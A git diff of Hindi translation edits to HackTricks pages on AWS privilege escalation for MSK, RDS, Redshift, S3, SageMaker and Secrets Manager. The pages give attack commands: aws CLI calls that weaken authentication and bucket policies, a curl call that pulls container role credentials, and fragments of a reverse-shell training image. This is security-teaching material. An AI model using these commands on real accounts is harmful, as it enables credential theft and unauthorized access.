हैं)। **संभावित प्रभाव:** ActiveMQ क्रेडेंशियल्स चुराना diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index 8b9e3a4cc..47f04741e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -12,11 +12,11 @@ MSK (Kafka) के बारे में अधिक जानकारी क ### `msk:ListClusters`, `msk:UpdateSecurity` -इन **privileges** और **kafka brokers के VPC तक पहुँच** के साथ, आप उनके लिए **None authentication** जोड़ सकते हैं। +इन **privileges** और **kafka brokers के VPC तक पहुँच** के साथ, आप उनकी पहुँच के लिए **None authentication** जोड़ सकते हैं। ```bash aws msk --client-authentication --cluster-arn --current-version ``` -आपको VPC तक पहुँच की आवश्यकता है क्योंकि **आप सार्वजनिक रूप से Kafka के साथ None प्रमाणीकरण सक्षम नहीं कर सकते**। यदि यह सार्वजनिक रूप से उजागर है, यदि **SASL/SCRAM** प्रमाणीकरण का उपयोग किया जाता है, तो आप **गुप्त पढ़ सकते हैं** (आपको गुप्त पढ़ने के लिए अतिरिक्त विशेषाधिकारों की आवश्यकता होगी)।\ -यदि **IAM भूमिका-आधारित प्रमाणीकरण** का उपयोग किया जाता है और **Kafka सार्वजनिक रूप से उजागर है**, तो आप अभी भी इन विशेषाधिकारों का दुरुपयोग करके इसे एक्सेस करने के लिए आपको अनुमतियाँ दे सकते हैं। +आपको VPC तक पहुँच की आवश्यकता है क्योंकि **आप सार्वजनिक रूप से एक्सपोज़ किए गए Kafka के साथ None प्रमाणीकरण सक्षम नहीं कर सकते**। यदि यह सार्वजनिक रूप से एक्सपोज़ है, यदि **SASL/SCRAM** प्रमाणीकरण का उपयोग किया जाता है, तो आप **गुप्त पढ़ सकते हैं** (आपको गुप्त पढ़ने के लिए अतिरिक्त विशेषाधिकारों की आवश्यकता होगी)।\ +यदि **IAM भूमिका-आधारित प्रमाणीकरण** का उपयोग किया जाता है और **Kafka सार्वजनिक रूप से एक्सपोज़ है**, तो आप अभी भी इन विशेषाधिकारों का दुरुपयोग करके इसे एक्सेस करने के लिए आपको अनुमतियाँ दे सकते हैं। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index d803f175d..51aad67bf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -13,6 +13,6 @@ ## प्रबंधन खाते से बच्चों के खातों तक यदि आप रूट/प्रबंधन खाते से समझौता करते हैं, तो संभावना है कि आप सभी बच्चों के खातों से समझौता कर सकते हैं।\ -[**यहां सीखने के लिए इस पृष्ठ को देखें**](../#compromising-the-organization). +[**यह पृष्ठ देखने के लिए सीखें**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index d9f545077..957baece8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -37,10 +37,10 @@ psql postgresql://:@:5432/ ### RDS भूमिका IAM अनुमतियों का दुरुपयोग -#### पोस्टग्रेएसक्यूएल (ऑरोरा) +#### पोस्टग्रेसक्यूएल (ऑरोरा) > [!TIP] -> यदि आप **`SELECT datname FROM pg_database;`** चलाते हैं और आपको **`rdsadmin`** नामक एक डेटाबेस मिलता है, तो आप जानते हैं कि आप एक **AWS पोस्टग्रेएसक्यूएल डेटाबेस** के अंदर हैं। +> यदि आप **`SELECT datname FROM pg_database;`** चलाते हैं और आपको **`rdsadmin`** नामक एक डेटाबेस मिलता है, तो आप जानते हैं कि आप एक **AWS पोस्टग्रेसक्यूएल डेटाबेस** के अंदर हैं। पहले आप यह जांच सकते हैं कि क्या इस डेटाबेस का उपयोग किसी अन्य AWS सेवा तक पहुँचने के लिए किया गया है। आप स्थापित एक्सटेंशन को देखकर यह जांच सकते हैं: ```sql @@ -48,9 +48,9 @@ SELECT * FROM pg_extension; ``` यदि आप कुछ ऐसा पाते हैं जैसे **`aws_s3`** तो आप मान सकते हैं कि इस डेटाबेस के पास **S3 पर कुछ प्रकार की पहुंच है** (अन्य एक्सटेंशन जैसे **`aws_ml`** और **`aws_lambda`** भी हैं)। -इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमति है, तो आप वहां देख सकते हैं कि **क्लस्टर में कोई IAM भूमिका संलग्न है** या नहीं, क्षेत्र **`AssociatedRoles`** में। यदि कोई है, तो आप मान सकते हैं कि डेटाबेस **अन्य AWS सेवाओं तक पहुंचने के लिए तैयार था**। **भूमिका के नाम** के आधार पर (या यदि आप भूमिका के **अनुमतियों** को प्राप्त कर सकते हैं) आप **अनुमान** लगा सकते हैं कि डेटाबेस के पास क्या अतिरिक्त पहुंच है। +इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमति है, तो आप वहां देख सकते हैं कि **क्लस्टर में कोई IAM भूमिका संलग्न है** या नहीं, क्षेत्र **`AssociatedRoles`** में। यदि कोई है, तो आप मान सकते हैं कि डेटाबेस **अन्य AWS सेवाओं तक पहुंचने के लिए तैयार किया गया था**। **भूमिका के नाम** के आधार पर (या यदि आप भूमिका के **अनुमतियों** को प्राप्त कर सकते हैं) आप **अनुमान** लगा सकते हैं कि डेटाबेस के पास क्या अतिरिक्त पहुंच है। -अब, **बकेट के अंदर एक फ़ाइल पढ़ने के लिए** आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं: +अब, **एक बकेट के अंदर एक फ़ाइल पढ़ने के लिए** आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं: ```sql // Create table CREATE TABLE ttemp (col TEXT); @@ -80,7 +80,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql **को S3 तक पहुँचने के लिए किसी भी पैरामीटर समूह के चर को बदलने की आवश्यकता नहीं है**। +> Postgresql **को S3 तक पहुँचने के लिए किसी भी पैरामीटर समूह चर को बदलने की आवश्यकता नहीं है**। #### Mysql (Aurora) @@ -89,7 +89,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') Mysql के अंदर **`show variables;`** चलाएँ और यदि चर जैसे **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** के मान हैं, तो आप मान सकते हैं कि डेटाबेस S3 डेटा तक पहुँचने के लिए तैयार है। -इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमति है, तो आप देख सकते हैं कि क्लस्टर में कोई **संबंधित भूमिका** है या नहीं, जो आमतौर पर AWS सेवाओं तक पहुँच का मतलब होता है। +इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमति है, तो आप जांच सकते हैं कि क्या क्लस्टर में कोई **संबंधित भूमिका** है, जिसका आमतौर पर मतलब AWS सेवाओं तक पहुँच है। अब, एक बकेट के अंदर **एक फ़ाइल पढ़ने के लिए** आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं: ```sql @@ -100,7 +100,7 @@ DROP TABLE ttemp; ``` ### `rds:AddRoleToDBCluster`, `iam:PassRole` -एक हमलावर जिसके पास `rds:AddRoleToDBCluster` और `iam:PassRole` की अनुमति है, वह **एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है**। इससे हमलावर को **संवेदनशील डेटा तक पहुंचने** या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है। +एक हमलावर जिसके पास `rds:AddRoleToDBCluster` और `iam:PassRole` की अनुमति है, वह **एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है**। इससे हमलावर को **संवेदनशील डेटा तक पहुंच** या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है। ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` @@ -127,11 +127,11 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ एक हमलावर जिसके पास `rds:CreateDBInstance` और `iam:PassRole` की अनुमति है, **एक निर्दिष्ट भूमिका के साथ एक नया RDS उदाहरण बना सकता है**। हमलावर फिर संभावित रूप से **संवेदनशील डेटा तक पहुँच** या उदाहरण के भीतर डेटा को संशोधित कर सकता है। > [!WARNING] -> भूमिका/उदाहरण-प्रोफ़ाइल को संलग्न करने की कुछ आवश्यकताएँ (से [**यहाँ**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> भूमिका/उदाहरण-प्रोफ़ाइल को संलग्न करने की कुछ आवश्यकताएँ ( [**यहाँ**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) से): > - प्रोफ़ाइल आपके खाते में मौजूद होनी चाहिए। -> - प्रोफ़ाइल में एक IAM भूमिका होनी चाहिए जिसे Amazon EC2 द्वारा ग्रहण करने की अनुमति हो। -> - उदाहरण प्रोफ़ाइल का नाम और संबंधित IAM भूमिका का नाम `AWSRDSCustom` उपसर्ग से शुरू होना चाहिए। +> - प्रोफ़ाइल के पास एक IAM भूमिका होनी चाहिए जिसे Amazon EC2 द्वारा ग्रहण करने की अनुमति हो। +> - उदाहरण प्रोफ़ाइल नाम और संबंधित IAM भूमिका नाम को `AWSRDSCustom` उपसर्ग से शुरू होना चाहिए। ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` @@ -139,7 +139,7 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst ### `rds:AddRoleToDBInstance`, `iam:PassRole` -एक हमलावर जिसके पास `rds:AddRoleToDBInstance` और `iam:PassRole` की अनुमति है, **एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है**। इससे हमलावर को **संवेदनशील डेटा तक पहुंच** या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है। +एक हमलावर जिसके पास `rds:AddRoleToDBInstance` और `iam:PassRole` की अनुमति है, वह **एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है**। इससे हमलावर को **संवेदनशील डेटा तक पहुंच** या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है। > [!WARNING] > DB उदाहरण को इसके लिए क्लस्टर के बाहर होना चाहिए diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 62aa8798f..c72cf60ac 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -23,7 +23,7 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` -इन अनुमतियों के साथ आप **सभी क्लस्टरों की जानकारी** प्राप्त कर सकते हैं और **इसका उपयोग करने के लिए क्रेडेंशियल्स** प्राप्त कर सकते हैं।\ +इन अनुमतियों के साथ आप **सभी क्लस्टरों की जानकारी** प्राप्त कर सकते हैं और **इस तक पहुँचने के लिए क्रेडेंशियल्स** प्राप्त कर सकते हैं।\ ध्यान दें कि postgres उपयोगकर्ता के पास **अनुमतियाँ होंगी जो IAM पहचान** के पास हैं जिसका उपयोग क्रेडेंशियल्स प्राप्त करने के लिए किया गया है। ```bash # Get creds @@ -35,7 +35,7 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -यह संभव है कि आप aws cli से आंतरिक postgres (redshit) उपयोगकर्ता का **मास्टर पासवर्ड संशोधित** कर सकें (मुझे लगता है कि ये वे अनुमतियाँ हैं जिनकी आपको आवश्यकता है लेकिन मैंने अभी तक उनका परीक्षण नहीं किया है): +यह संभव है कि आप aws cli से आंतरिक postgres (redshit) उपयोगकर्ता का **मास्टर पासवर्ड संशोधित** करें (मुझे लगता है कि ये वे अनुमतियाँ हैं जिनकी आपको आवश्यकता है लेकिन मैंने अभी तक उनका परीक्षण नहीं किया है): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` @@ -46,7 +46,7 @@ aws redshift modify-cluster –cluster-identifier > [!WARNING] > सभी निम्नलिखित संसाधनों तक पहुँचने के लिए, आपको **उपयोग करने के लिए भूमिका निर्दिष्ट करनी होगी**। एक Redshift क्लस्टर **AWS भूमिकाओं की एक सूची असाइन कर सकता है** जिसका आप उपयोग कर सकते हैं **यदि आप ARN जानते हैं** या आप बस "**डिफ़ॉल्ट**" सेट कर सकते हैं ताकि असाइन की गई डिफ़ॉल्ट भूमिका का उपयोग किया जा सके। -> इसके अलावा, जैसे कि [**यहाँ समझाया गया है**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift भी भूमिकाओं को जोड़ने की अनुमति देता है (जब तक कि पहली भूमिका दूसरी भूमिका को मान नहीं लेती) ताकि आगे की पहुँच प्राप्त की जा सके, लेकिन बस उन्हें **अल्पविराम** से **अलग** करके: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> इसके अलावा, जैसा कि [**यहाँ समझाया गया है**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift भूमिकाओं को जोड़ने की अनुमति भी देता है (जब तक कि पहली भूमिका दूसरी भूमिका को मान नहीं लेती) ताकि आगे की पहुँच प्राप्त की जा सके, लेकिन बस **उन्हें** एक **अल्पविराम** से **अलग** करके: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` ### लैम्ब्डास @@ -60,7 +60,7 @@ IAM_ROLE default; ``` ### S3 -जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) में समझाया गया है, **S3 बकेट में पढ़ना और लिखना संभव है**: +जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) में समझाया गया है, **S3 बकेट्स में पढ़ना और लिखना संभव है**: ```sql # Read copy table from 's3:///load/key_prefix' @@ -75,7 +75,7 @@ iam_role default; ``` ### Dynamo -जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) में समझाया गया है, **dynamodb से डेटा प्राप्त करना** संभव है: +जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) में बताया गया है, **dynamodb से डेटा प्राप्त करना** संभव है: ```sql copy favoritemovies from 'dynamodb://ProductCatalog' diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 22a861f54..039b91679 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -एक हमलावर जिसके पास दिलचस्प बकेट्स पर ये अनुमतियाँ हैं, संसाधनों को हाईजैक करने और विशेषाधिकार बढ़ाने में सक्षम हो सकता है। +एक हमलावर जिसके पास दिलचस्प बकेट्स पर ये अनुमतियाँ हैं, वह संसाधनों को हाईजैक करने और विशेषाधिकार बढ़ाने में सक्षम हो सकता है। -उदाहरण के लिए, एक हमलावर जिसके पास **"cf-templates-nohnwfax6a6i-us-east-1"** नामक क्लाउडफॉर्मेशन बकेट पर ये अनुमतियाँ हैं, वह डिप्लॉयमेंट को हाईजैक करने में सक्षम होगा। एक्सेस निम्नलिखित नीति के साथ दिया जा सकता है: +उदाहरण के लिए, एक हमलावर जिसके पास **"cf-templates-nohnwfax6a6i-us-east-1"** नाम के क्लाउडफॉर्मेशन बकेट पर ये अनुमतियाँ हैं, वह डिप्लॉयमेंट को हाईजैक करने में सक्षम होगा। एक्सेस निम्नलिखित नीति के साथ दिया जा सकता है: ```json { "Version": "2012-10-17", @@ -34,25 +34,25 @@ ] } ``` -And the hijack is possible because there is a **छोटी समय खिड़की टेम्पलेट अपलोड होने के क्षण से** बकेट में टेम्पलेट **तैनात होने के क्षण तक**। एक हमलावर बस अपने खाते में एक **लैम्ब्डा फ़ंक्शन** बना सकता है जो **तब सक्रिय होगा जब बकेट अधिसूचना भेजी जाएगी**, और **हाइजैक** कर लेगा **उस बकेट** का **सामग्री**। +और हाइजैक संभव है क्योंकि **टेम्पलेट अपलोड होने के क्षण से** लेकर **टेम्पलेट डिप्लॉय होने के क्षण तक एक छोटा समय विंडो** होता है। एक हमलावर बस अपने खाते में एक **lambda function** बना सकता है जो **तब ट्रिगर होगा जब एक बकेट नोटिफिकेशन भेजा जाएगा**, और **हाइजैक** कर लेगा उस **बकेट** का **सामग्री**। ![](<../../../images/image (174).png>) -The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ -For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +Pacu मॉड्यूल [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) का उपयोग इस हमले को स्वचालित करने के लिए किया जा सकता है।\ +अधिक जानकारी के लिए मूल शोध देखें: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -These are the permissions to **S3 में ऑब्जेक्ट प्राप्त करने और अपलोड करने के लिए**। AWS के अंदर (और इसके बाहर) कई सेवाएँ **कॉन्फ़िग फ़ाइलों** को स्टोर करने के लिए S3 स्टोरेज का उपयोग करती हैं।\ +ये **S3 में ऑब्जेक्ट्स को प्राप्त करने और अपलोड करने** के लिए अनुमतियाँ हैं। AWS के अंदर (और बाहर) कई सेवाएँ S3 स्टोरेज का उपयोग **कॉन्फ़िग फ़ाइलों** को स्टोर करने के लिए करती हैं।\ एक हमलावर जिसके पास **पढ़ने की पहुँच** है, वह उन पर **संवेदनशील जानकारी** पा सकता है।\ -एक हमलावर जिसके पास **लिखने की पहुँच** है, वह **डेटा को संशोधित कर सकता है ताकि किसी सेवा का दुरुपयोग किया जा सके और विशेषाधिकार बढ़ाने की कोशिश की जा सके**।\ +एक हमलावर जिसके पास **लिखने की पहुँच** है, वह **डेटा को संशोधित कर सकता है ताकि किसी सेवा का दुरुपयोग किया जा सके और विशेषाधिकारों को बढ़ाने की कोशिश की जा सके**।\ ये कुछ उदाहरण हैं: -- यदि एक EC2 उदाहरण **उपयोगकर्ता डेटा को S3 बकेट में स्टोर कर रहा है**, तो एक हमलावर इसे **EC2 उदाहरण के अंदर मनमाना कोड निष्पादित करने के लिए संशोधित कर सकता है**। +- यदि एक EC2 इंस्टेंस **S3 बकेट में उपयोगकर्ता डेटा** स्टोर कर रहा है, तो एक हमलावर इसे **EC2 इंस्टेंस के अंदर मनमाना कोड निष्पादित करने के लिए संशोधित कर सकता है**। ### `s3:PutBucketPolicy` -एक हमलावर, जिसे **उसी खाते से होना चाहिए**, यदि नहीं तो त्रुटि `The specified method is not allowed will trigger`, इस अनुमति के साथ बकेट(s) पर अधिक अनुमति देने में सक्षम होगा जिससे वह पढ़, लिख, संशोधित, हटाने और बकेट को उजागर कर सकेगा। +एक हमलावर, जिसे **उसी खाते से होना चाहिए**, यदि नहीं तो त्रुटि `The specified method is not allowed will trigger` होगी, इस अनुमति के साथ बकेट(s) पर अधिक अनुमतियाँ देने में सक्षम होगा जिससे वह पढ़, लिख, संशोधित, हटाने और बकेट को उजागर कर सकेगा। ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -110,7 +110,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -एक हमलावर इन अनुमतियों का दुरुपयोग करके बकेट के अंदर विशिष्ट वस्तुओं पर अधिक पहुंच प्राप्त कर सकता है। +एक हमलावर इन अनुमतियों का दुरुपयोग करके बकेट के भीतर विशिष्ट वस्तुओं पर अधिक पहुंच प्राप्त कर सकता है। ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 9a86caf6f..a6692e08a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -6,18 +6,18 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -IAM भूमिका के साथ एक नोटबुक बनाना शुरू करें जो इससे जुड़ी हो: +एक नोटबुक बनाना शुरू करें जिसमें इसे एक्सेस करने के लिए IAM भूमिका संलग्न हो: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ --role-arn arn:aws:iam:::role/service-role/ ``` -उत्तर में `NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक उदाहरण का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं जिसका उपयोग हम नोटबुक उदाहरण तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो जाए: +उत्तर में एक `NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक उदाहरण का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं, जिसका उपयोग हम नोटबुक उदाहरण तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो: ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Navigate to the URL with the browser and click on \`Open JupyterLab\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button. +ब्राउज़र के साथ URL पर जाएं और शीर्ष दाएं कोने में \`Open JupyterLab\` पर क्लिक करें, फिर “Launcher” टैब पर स्क्रॉल करें और “Other” अनुभाग के तहत “Terminal” बटन पर क्लिक करें। अब IAM भूमिका के मेटाडेटा क्रेडेंशियल्स तक पहुंचना संभव है। @@ -25,7 +25,7 @@ Navigate to the URL with the browser and click on \`Open JupyterLab\` in the top ### `sagemaker:CreatePresignedNotebookInstanceUrl` -यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` (या किसी अन्य तरीके से) सूचीबद्ध कर सकते हैं। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए गए अनुसार क्रेडेंशियल्स चुरा सकते हैं**। +यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` के साथ सूचीबद्ध कर सकते हैं (या किसी अन्य तरीके से उन्हें खोज सकते हैं)। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए अनुसार क्रेडेंशियल्स चुरा सकते हैं**। ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` @@ -49,7 +49,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बना सकेगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी। इसलिए, हमलावर भूमिका के क्रेडेंशियल चुरा सकेगा। +उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बना सकेगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी। इसलिए, हमलावर भूमिका के क्रेडेंशियल्स चुरा सकेगा। > [!WARNING] > यह परिदृश्य पिछले वाले की तुलना में अधिक कठिन है क्योंकि आपको एक Docker छवि उत्पन्न करनी होगी जो रिवर्स शेल या क्रेड्स को सीधे हमलावर को भेजेगी (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)। @@ -58,7 +58,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c > # Docker छवि बनाएँ > mkdir /tmp/rev > ## ध्यान दें कि प्रशिक्षण नौकरी एक निष्पादन योग्य "train" को कॉल करने जा रही है -> ## इसलिए मैं रिवर्स शेल को /bin/train में रख रहा हूँ +> ## यही कारण है कि मैं रिवर्स शेल को /bin/train में रख रहा हूँ > ## और के मान सेट करें > cat > /tmp/rev/Dockerfile < FROM ubuntu @@ -90,12 +90,12 @@ aws sagemaker create-training-job \ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer ``` -**संभावित प्रभाव:** निर्दिष्ट सागेमेकर सेवा भूमिका के लिए प्रिवेस्क। +**संभावित प्रभाव:** निर्दिष्ट सagemaker सेवा भूमिका के लिए प्रिवेस्क। ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक **हाइपरपैरामीटर प्रशिक्षण कार्य** बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी।\ -&#xNAN;_I समय की कमी के कारण इसका लाभ नहीं उठाया है, लेकिन यह पिछले शोषणों के समान दिखता है, शोषण विवरण के साथ PR भेजने के लिए स्वतंत्र महसूस करें।_ +&#xNAN;_I ने समय की कमी के कारण शोषण नहीं किया, लेकिन यह पिछले शोषणों के समान लगता है, शोषण विवरण के साथ PR भेजने के लिए स्वतंत्र महसूस करें।_ ## संदर्भ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index 26ec2c0d8..6fd2ed56b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -16,11 +16,11 @@ Secrets manager के बारे में अधिक जानकारी ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` -**संभावित प्रभाव:** AWS सीक्रेट्स मैनेजर सेवा के अंदर उच्च संवेदनशील डेटा तक पहुंच। +**संभावित प्रभाव:** AWS सीक्रेट्स मैनेजर सेवा के अंदर उच्च संवेदनशील डेटा तक पहुंच प्राप्त करना। ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -पिछले अनुमतियों के साथ, यह संभव है कि **अन्य प्रिंसिपल/खातों (यहां तक कि बाहरी)** को **गुप्त** तक पहुंच प्रदान की जाए। ध्यान दें कि **KMS कुंजी** के साथ एन्क्रिप्ट किए गए गुप्तों को **पढ़ने** के लिए, उपयोगकर्ता को **KMS कुंजी पर पहुंच** भी होनी चाहिए (अधिक जानकारी के लिए [KMS Enum पृष्ठ](../aws-services/aws-kms-enum.md) पर जाएं)। +पिछले अनुमतियों के साथ, यह संभव है कि **अन्य प्रिंसिपल/खातों (यहां तक कि बाहरी)** को **गुप्त** तक पहुंच देने के लिए। ध्यान दें कि **KMS कुंजी** के साथ एन्क्रिप्ट किए गए गुप्तों को **पढ़ने** के लिए, उपयोगकर्ता को **KMS कुंजी पर पहुंच** भी होनी चाहिए (अधिक जानकारी के लिए [KMS Enum पृष्ठ](../aws-services/aws-kms-enum.md) देखें)। ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index a08d4f10a..d1815dc3c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -16,7 +16,7 @@ 